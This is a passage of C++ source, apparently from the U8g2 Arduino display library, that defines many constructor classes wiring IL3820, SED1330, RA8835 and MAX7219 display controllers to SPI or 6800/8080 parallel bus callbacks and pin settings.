u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IL3820_V2_296X128_2_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_V2_296X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_V2_296X128_2_3W_SW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_IL3820_V2_296X128_2_3W_HW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_IL3820_296X128_F_4W_SW_SPI : public U8G2 { public: U8G2_IL3820_296X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IL3820_296X128_F_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_296X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_296X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_296X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_296X128_F_3W_SW_SPI : public U8G2 { public: U8G2_IL3820_296X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_IL3820_296X128_F_3W_HW_SPI : public U8G2 { public: U8G2_IL3820_296X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_IL3820_V2_296X128_F_4W_SW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IL3820_V2_296X128_F_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_V2_296X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_V2_296X128_F_3W_SW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_IL3820_V2_296X128_F_3W_HW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SED1330_240X128_1_6800 : public U8G2 { public: U8G2_SED1330_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_240X128_1_8080 : public U8G2 { public: U8G2_SED1330_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_240X128_2_6800 : public U8G2 { public: U8G2_SED1330_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_240X128_2_8080 : public U8G2 { public: U8G2_SED1330_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_240X128_F_6800 : public U8G2 { public: U8G2_SED1330_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_240X128_F_8080 : public U8G2 { public: U8G2_SED1330_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_256X128_1_6800 : public U8G2 { public: U8G2_SED1330_256X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_256x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_256X128_1_8080 : public U8G2 { public: U8G2_SED1330_256X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_256x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_256X128_2_6800 : public U8G2 { public: U8G2_SED1330_256X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_256x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_256X128_2_8080 : public U8G2 { public: U8G2_SED1330_256X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_256x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_256X128_F_6800 : public U8G2 { public: U8G2_SED1330_256X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_256x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_256X128_F_8080 : public U8G2 { public: U8G2_SED1330_256X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_256x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_NHD_240X128_1_6800 : public U8G2 { public: U8G2_RA8835_NHD_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_nhd_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_NHD_240X128_1_8080 : public U8G2 { public: U8G2_RA8835_NHD_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_nhd_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_NHD_240X128_2_6800 : public U8G2 { public: U8G2_RA8835_NHD_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_nhd_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_NHD_240X128_2_8080 : public U8G2 { public: U8G2_RA8835_NHD_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_nhd_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_NHD_240X128_F_6800 : public U8G2 { public: U8G2_RA8835_NHD_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_nhd_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_NHD_240X128_F_8080 : public U8G2 { public: U8G2_RA8835_NHD_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_nhd_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_320X240_1_6800 : public U8G2 { public: U8G2_RA8835_320X240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_320x240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_320X240_1_8080 : public U8G2 { public: U8G2_RA8835_320X240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_320x240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_320X240_2_6800 : public U8G2 { public: U8G2_RA8835_320X240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_320x240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_320X240_2_8080 : public U8G2 { public: U8G2_RA8835_320X240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_320x240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_320X240_F_6800 : public U8G2 { public: U8G2_RA8835_320X240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_320x240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_RA8835_320X240_F_8080 : public U8G2 { public: U8G2_RA8835_320X240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ra8835_320x240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_320X200_1_6800 : public U8G2 { public: U8G2_SED1330_320X200_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_320x200_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_320X200_1_8080 : public U8G2 { public: U8G2_SED1330_320X200_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_320x200_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_320X200_2_6800 : public U8G2 { public: U8G2_SED1330_320X200_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_320x200_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_320X200_2_8080 : public U8G2 { public: U8G2_SED1330_320X200_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_320x200_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_320X200_F_6800 : public U8G2 { public: U8G2_SED1330_320X200_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_320x200_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SED1330_320X200_F_8080 : public U8G2 { public: U8G2_SED1330_320X200_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sed1330_320x200_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_MAX7219_64X8_1_4W_SW_SPI : public U8G2 { public: U8G2_MAX7219_64X8_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_64x8_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_MAX7219_64X8_1_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_64X8_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_64x8_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_64X8_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_64X8_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_64x8_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_64X8_2_4W_SW_SPI : public U8G2 { public: U8G2_MAX7219_64X8_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_64x8_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_MAX7219_64X8_2_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_64X8_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_64x8_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_64X8_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_64X8_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_64x8_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_64X8_F_4W_SW_SPI : public U8G2 { public: U8G2_MAX7219_64X8_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_64x8_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_MAX7219_64X8_F_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_64X8_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_64x8_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_MAX7219_64X8_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_MAX7219_64X8_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_max7219_64x8_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, 